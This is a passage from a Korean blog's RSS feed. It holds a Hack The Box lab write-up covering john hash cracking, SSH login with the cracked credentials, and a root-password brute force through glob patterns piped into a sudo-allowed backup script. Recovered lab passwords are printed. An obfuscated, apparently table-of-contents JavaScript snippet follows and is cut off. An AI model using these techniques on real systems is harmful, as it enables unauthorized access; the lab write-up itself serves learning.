this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3071&quot; height=&quot;609&quot; data-origin-width=&quot;3071&quot; data-origin-height=&quot;609&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'users' 테이블에서 joshua의 hash PW를 확인할 수 있었음. john 도구를 사용해서 크랙할꺼임.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.3. Hash PW 복호화&lt;/h4&gt;
&lt;pre id=&quot;code_1708067767456&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo mousepad hash.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEhph9/btsEXom6sxX/1NrfKN3dzIjYIpkDMfOlYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEhph9/btsEXom6sxX/1NrfKN3dzIjYIpkDMfOlYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEhph9/btsEXom6sxX/1NrfKN3dzIjYIpkDMfOlYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEhph9%2FbtsEXom6sxX%2F1NrfKN3dzIjYIpkDMfOlYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1876&quot; height=&quot;303&quot; data-origin-width=&quot;1876&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;크랙할 id:pw를 hash.txt에 저장했음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708067803788&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;502&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BYYul/btsEVdNDHvl/lHkLSkeiMk9t5EIkuLNiJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BYYul/btsEVdNDHvl/lHkLSkeiMk9t5EIkuLNiJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BYYul/btsEVdNDHvl/lHkLSkeiMk9t5EIkuLNiJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBYYul%2FbtsEVdNDHvl%2FlHkLSkeiMk9t5EIkuLNiJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1980&quot; height=&quot;502&quot; data-origin-width=&quot;1980&quot; data-origin-height=&quot;502&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;john 도구를 사용해서 크랙한 결과 joshua : spongebob1 를 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.4. 'joshua' 계정으로 ssh 접속하기&lt;/h4&gt;
&lt;pre id=&quot;code_1708067834987&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ssh joshua@10.10.11.239&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1979&quot; data-origin-height=&quot;417&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1i7xG/btsEZn8HbTw/ePZ7UDUXwl1JLraTuu9Eok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1i7xG/btsEZn8HbTw/ePZ7UDUXwl1JLraTuu9Eok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1i7xG/btsEZn8HbTw/ePZ7UDUXwl1JLraTuu9Eok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1i7xG%2FbtsEZn8HbTw%2FePZ7UDUXwl1JLraTuu9Eok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1979&quot; height=&quot;417&quot; data-origin-width=&quot;1979&quot; data-origin-height=&quot;417&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;joshua 계정정보를 이용해서 ssh 연결을 했음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708067867192&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat user.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;965&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/daOyLW/btsEWaCWg0B/YmcROQONMp1bnKKX5BsMJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/daOyLW/btsEWaCWg0B/YmcROQONMp1bnKKX5BsMJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/daOyLW/btsEWaCWg0B/YmcROQONMp1bnKKX5BsMJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdaOyLW%2FbtsEWaCWg0B%2FYmcROQONMp1bnKKX5BsMJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;965&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;965&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'user.txt' flag를 확인할 수 있음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 권한 상승&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.1. 'mysql-backup.sh' 쉘 분석&lt;/h4&gt;
&lt;pre id=&quot;code_1708067965420&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;sudo -l&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1880&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GWBAU/btsEWLisHUz/Hu0O9mj5OstoG5gPhGbHP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GWBAU/btsEWLisHUz/Hu0O9mj5OstoG5gPhGbHP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GWBAU/btsEWLisHUz/Hu0O9mj5OstoG5gPhGbHP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGWBAU%2FbtsEWLisHUz%2FHu0O9mj5OstoG5gPhGbHP0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1880&quot; height=&quot;375&quot; data-origin-width=&quot;1880&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;joshua 계정으로&amp;nbsp; sudo로 수행할 수 있는 명령어를 확인해봤는데 mysql-backup.sh 쉘 파일을 실행할 수 있음.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708068032395&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat mysql-backup.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2438&quot; data-origin-height=&quot;1742&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ED9Qj/btsEWzCp2R5/t8iDfgcOq9PGaqACMK3ot1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ED9Qj/btsEWzCp2R5/t8iDfgcOq9PGaqACMK3ot1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ED9Qj/btsEWzCp2R5/t8iDfgcOq9PGaqACMK3ot1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FED9Qj%2FbtsEWzCp2R5%2Ft8iDfgcOq9PGaqACMK3ot1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2438&quot; height=&quot;1742&quot; data-origin-width=&quot;2438&quot; data-origin-height=&quot;1742&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mysql-backup.sh 파일을 실행시켜보니까 '$DB_PASS == $USER_PASS' DB의 패스워드와 USER의 패스워드가 같아야됨.&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708068065651&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://rextester.com/l/bash_online_compiler&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3104&quot; data-origin-height=&quot;1463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kGr3f/btsEVi2pksp/W7bFIJ67XtKdGie0qOVoIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kGr3f/btsEVi2pksp/W7bFIJ67XtKdGie0qOVoIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kGr3f/btsEVi2pksp/W7bFIJ67XtKdGie0qOVoIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkGr3f%2FbtsEVi2pksp%2FW7bFIJ67XtKdGie0qOVoIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3104&quot; height=&quot;1463&quot; data-origin-width=&quot;3104&quot; data-origin-height=&quot;1463&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'$DB_PASS == $USER_PASS' 이 구문의 문제점은 변수에서 *와 같은 특수문자가 텍스트 처리되지 않고 제 기능으로 실행될 수 있다는거임.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB_PASS = kwonohjun1234, USER_PASS = kwo* 변수를 지정하면 &quot;password confirmed!' 출력하는것을 확인할 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 취약점을 이용해서 k, k1, k13 ... 이런식으로 문자 하나씩 무차별 대입하면 패스워드를 확인할 수 있음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 해결법 :&amp;nbsp; &quot;$DB_PASS&quot; == &quot;$USER_PASS&quot; 변수에 (&quot;) 처리해서 텍스트로써 인식하게끔 해줘야됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708068090597&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cd /tmp&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;397&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pc8Xp/btsEXugugpJ/1WlyJDjkXjbXM5oekGWNxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pc8Xp/btsEXugugpJ/1WlyJDjkXjbXM5oekGWNxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pc8Xp/btsEXugugpJ/1WlyJDjkXjbXM5oekGWNxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPc8Xp%2FbtsEXugugpJ%2F1WlyJDjkXjbXM5oekGWNxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1978&quot; height=&quot;397&quot; data-origin-width=&quot;1978&quot; data-origin-height=&quot;397&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/tmp 임시 폴더로 이동해서 무차별 대입하는 코드를 작성해야 실행할 수 있음. (권한 때문에)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708068109804&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;vi test.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;793&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ba1Owl/btsEYKcgQDv/lk3hkJAAUbvjElOtTHXBrk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ba1Owl/btsEYKcgQDv/lk3hkJAAUbvjElOtTHXBrk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ba1Owl/btsEYKcgQDv/lk3hkJAAUbvjElOtTHXBrk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fba1Owl%2FbtsEYKcgQDv%2Flk3hkJAAUbvjElOtTHXBrk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;793&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;793&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 119px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;&lt;span&gt;구문&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; text-align: center;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결과&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span&gt;&quot;echo ''&lt;span style=&quot;color: #ee2323;&quot;&gt;a&lt;/span&gt;* | sudo /opt/scripts/mysql-backup.sh&quot;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&quot;Password Confirmation Failed&quot;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 34px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 34px;&quot;&gt;&lt;span&gt; &quot;echo ''&lt;span style=&quot;color: #ee2323;&quot;&gt;b&lt;/span&gt;* | sudo /opt/scripts/mysql-backup.sh&quot;&lt;br /&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 34px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt; &quot;Password Confirmation Failed&quot; &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span&gt; &quot;echo ''&lt;span style=&quot;color: #006dd7;&quot;&gt;c&lt;/span&gt;* | sudo /opt/scripts/mysql-backup.sh&quot; &lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&quot;Password Confirmed!&quot;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span&gt; &quot;echo ''&lt;span style=&quot;color: #ee2323;&quot;&gt;a&lt;/span&gt;* | sudo /opt/scripts/mysql-backup.sh&quot; &lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt; &quot;Password Confirmation Failed&quot; &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span&gt; &quot;echo ''&lt;span style=&quot;color: #006dd7;&quot;&gt;b&lt;/span&gt;* | sudo /opt/scripts/mysql-backup.sh&quot; &lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt; &quot;Password Confirmed!&quot; &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span&gt; &quot;echo ''&lt;span style=&quot;color: #ee2323;&quot;&gt;a&lt;/span&gt;* | sudo /opt/scripts/mysql-backup.sh&quot; &lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; height: 17px;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt; &quot;Password Confirmation Failed&quot; &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span&gt;...&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당코드는 위의 표처럼 'mysql-backup.sh' 파일의 입력에&amp;nbsp; a,b,c,... 문자를 무차별 대입해서 패스워드를 알아내는 코드임.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708068141303&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 test.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1966&quot; data-origin-height=&quot;1009&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btCpMN/btsEZy96MPH/EaflSP8UEOrqKOTfg4ALy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btCpMN/btsEZy96MPH/EaflSP8UEOrqKOTfg4ALy1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btCpMN/btsEZy96MPH/EaflSP8UEOrqKOTfg4ALy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtCpMN%2FbtsEZy96MPH%2FEaflSP8UEOrqKOTfg4ALy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1966&quot; height=&quot;1009&quot; data-origin-width=&quot;1966&quot; data-origin-height=&quot;1009&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'kljh12k3jhaskjh12kjh3' 패스워드를 알아낼 수 있었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708068154977&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;su root&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;185&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cXaTd5/btsEVfLvqHP/qxbTLH3cYPtgXicwZt84a1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cXaTd5/btsEVfLvqHP/qxbTLH3cYPtgXicwZt84a1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cXaTd5/btsEVfLvqHP/qxbTLH3cYPtgXicwZt84a1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcXaTd5%2FbtsEVfLvqHP%2FqxbTLH3cYPtgXicwZt84a1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1986&quot; height=&quot;185&quot; data-origin-width=&quot;1986&quot; data-origin-height=&quot;185&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 권한을 얻기 위한 시도를 하였고 성공했음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708068179900&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat root.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;697&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qQ5zL/btsEYB7Azsb/1MNsC4I9WoLrkjTSjd0uVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qQ5zL/btsEYB7Azsb/1MNsC4I9WoLrkjTSjd0uVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qQ5zL/btsEYB7Azsb/1MNsC4I9WoLrkjTSjd0uVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqQ5zL%2FbtsEYB7Azsb%2F1MNsC4I9WoLrkjTSjd0uVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;697&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;697&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>문제풀이/Hack The Box</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/164</guid>
      <comments>https://securitystudy.tistory.com/164#entry164comment</comments>
      <pubDate>Fri, 16 Feb 2024 16:23:13 +0900</pubDate>
    </item>
    <item>
      <title>[Hack The Box] analytics</title>
      <link>https://securitystudy.tistory.com/163</link>
      <description>&lt;script&gt;
const _0x5eef=['classList','92935nhtnYq','setAttribute','push','innerHTML','getElementById','toLowerCase','tt_adsense_top','another_category','style','//p[contains(text(),\x27[목차여기]\x27)]','1954669aacfHB','div','appendChild','toc-ym','title','forEach','DOMContentLoaded','call','addEventListener','length','insertBefore','firstElementChild','log','27309qNoTHN','62SuwPRc','parentNode','querySelector','revenue_unit_wrap','tagName','23736mMyuUa','singleNodeValue','trim','17723tUfPMr','textContent','1STKGDu','getAttribute','contains','nextSibling','791846eKKEom','createElement','outerText','FIRST_ORDERED_NODE_TYPE','querySelectorAll','72wJWnLP','hasAttribute','669103LLOFBD','toc'];function _0x330c(_0x5d40d0,_0x4afdad){_0x5d40d0=_0x5d40d0-0xec;let _0x5eef71=_0x5eef[_0x5d40d0];return _0x5eef71;}const _0x2078d2=_0x330c;(function(_0xbea334,_0x392453){const _0x2c3076=_0x330c;while(!![]){try{const _0x5a087d=-parseInt(_0x2c3076(0x117))+parseInt(_0x2c3076(0xf7))+parseInt(_0x2c3076(0xfa))+-parseInt(_0x2c3076(0x11a))*-parseInt(_0x2c3076(0xf5))+parseInt(_0x2c3076(0x112))*parseInt(_0x2c3076(0x111))+parseInt(_0x2c3076(0xec))*-parseInt(_0x2c3076(0xf0))+-parseInt(_0x2c3076(0x104));if(_0x5a087d===_0x392453)break;else 